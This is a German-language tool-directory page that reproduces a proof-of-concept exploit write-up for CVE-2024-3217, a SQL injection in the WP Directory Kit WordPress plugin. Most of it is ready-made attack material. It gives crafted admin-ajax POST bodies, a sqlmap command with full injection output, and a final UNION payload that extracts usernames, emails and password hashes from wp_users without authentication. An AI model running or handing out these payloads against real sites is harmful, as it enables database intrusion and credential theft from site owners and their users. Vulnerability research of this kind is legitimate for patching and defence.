Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-3217-POC — Proof-of-Concept-Exploit für CVE-2024-3217, der eine unauthorisierte SQL-Injection im WP Directory Kit Plugin für WordPress demonstriert, mit Payloads zur Datenextraktion. | Kitploit
Tools/GitHubGitHub/bassamassiri/cve-2024-3217-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubbassamassiri/cve-2024-3217-poc

CVE-2024-3217-POC

Proof-of-Concept-Exploit für CVE-2024-3217, der eine unauthorisierte SQL-Injection im WP Directory Kit Plugin für WordPress demonstriert, mit Payloads zur Datenextraktion.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
61vor 2 JahrenNoch nicht geprüft

CVE-2024-3217-POC

Mitre Beschreibung

Das WP Directory Kit Plugin für WordPress ist anfällig für SQL-Injection über die Parameter 'attribute_value' und 'attribute_id' in allen Versionen bis einschließlich 1.3.0. Dies liegt an unzureichender Maskierung der benutzergesteuerten Parameter und fehlender ausreichender Vorbereitung der bestehenden SQL-Abfrage. Dadurch ist es authentifizierten Angreifern mit mindestens Abonnenten-Zugriff (subscriber-level) möglich, zusätzliche SQL-Abfragen in bereits vorhandene Abfragen einzufügen, um sensible Informationen aus der Datenbank zu extrahieren.

Analyse

Ich habe die richtige Version über WordPress installiert.

https://wordpress.org/plugins/wpdirectorykit/

Wenn Sie eine ältere Version möchten, klicken Sie auf „Erweiterte Ansicht“.

image

Wir möchten die Versionen 1.3.0 und 1.3.1 für einen Diff-Vergleich herunterladen.

https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.0.zip https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.1.zip

Wenn ich diffe und nach den Werten von 'attribute_value' und 'attribute_id' suche, finde ich sie in dieser Datei:

\wpdirectorykit\application\controllers\Wdk_frontendajax.php Ich habe in VS Code eine Erweiterung namens „folder diff“ verwendet.

image

In Version 1.3.0 sehen wir, dass die Funktion „sanitize_text_field“ verwendet wurde, aber das Problem liegt nicht direkt hier, sondern hauptsächlich weiter unten in diesem Teil.

image

Wir sehen, dass wenn "$attr_search" numerisch ist, wir $id_part = "$attr_id=$attr_search OR "; kontrollieren, das als Teil der SQL-Abfrage verwendet wird. Da wir keine einfachen Anführungszeichen (') verwenden können (da es Teil einer Abfrage ist, müssen wir sie nicht zum Escapen verwenden), können wir unseren Injection-Teil direkt in den Code einfügen.

Dies wird hier verwendet:

image

Nun müssen wir eine Anfrage erstellen, die diese Teile erreicht, einen numerischen Wert für "$attr_search" setzt und dann unsere Injection durchführt. Gemäß der Beschreibung scheint das Minimum „subscriber-level“ zu sein. Das werden wir später überprüfen.

image

root@kitploit:~
offset=0&per_page=10&curr_id=&attribute_id=ID=1)or 1=1-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
root@kitploit:~
offset=0&per_page=10&curr_id=&attribute_id=ID=1)*-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected

Jetzt testen wir es mit SQLMAP für den PoC.

root@kitploit:~
python .\sqlmap.py -r .\sql-wpdirectorykit-4.req --dbs --batch --dbms=mysql --flush-session
root@kitploit:~
[17:08:36] [INFO] parsing HTTP request from '.\sql-wpdirectorykit-4.req'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[17:08:36] [INFO] flushing session file
[17:08:36] [INFO] testing connection to the target URL
[17:08:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:08:37] [INFO] testing if the target URL content is stable
[17:08:38] [INFO] target URL content is stable
[17:08:38] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[17:08:39] [INFO] (custom) POST parameter '#1*' appears to be dynamic
[17:08:39] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[17:08:40] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[17:08:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:08:44] [INFO] (custom) POST parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:08:44] [INFO] testing 'Generic inline queries'
[17:08:44] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:08:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:08:45] [WARNING] time-based comparison requires larger statistical model, please wait.................... (done)
[17:09:11] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:09:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:09:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:09:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:09:18] [INFO] target URL appears to have 34 columns in query
[17:09:36] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND 7544=7544-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND (SELECT 1253 FROM (SELECT(SLEEP(5)))BUhD)-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected

    Type: UNION query
    Title: Generic UNION query (NULL) - 34 columns
    Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171717871,0x645450444e484b6162547547496545685342754f57475a505641526d4373656c6c50454f61444358,0x7171707671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- --- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
---
[17:09:36] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.29, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:09:37] [INFO] fetching database names

Versuchen wir nun herauszufinden, welche Mindestberechtigungen erforderlich sind. Beginnen wir ohne Cookies (0 Berechtigungen) und bauen von den niedrigsten Berechtigungen auf.

image

Nach dem Löschen der Cookies wird die Ausgabe immer noch ausgewertet. Versuchen wir das Payload von SQLMAP zur Bestätigung.

image

Es ist ein Proof of Concept – für diesen Angriff sind überhaupt keine Cookies erforderlich. Erstellen wir ein einfaches Payload, um alle Werte aus wp_users zu extrahieren.

root@kitploit:~
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 551
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/wordpress/wp-admin/admin.php?page=wdk_listing&id=10&is_updated=true
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected

Der Payload-Teil:

root@kitploit:~
1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -

Hinweis: Sie müssen „search_term“ auf einen numerischen Wert setzen; in diesem Beispiel ist es „1“.

image

Vollständige UNION SQL-Injection vollständig ohne Authentifizierung.

Tool herunterladen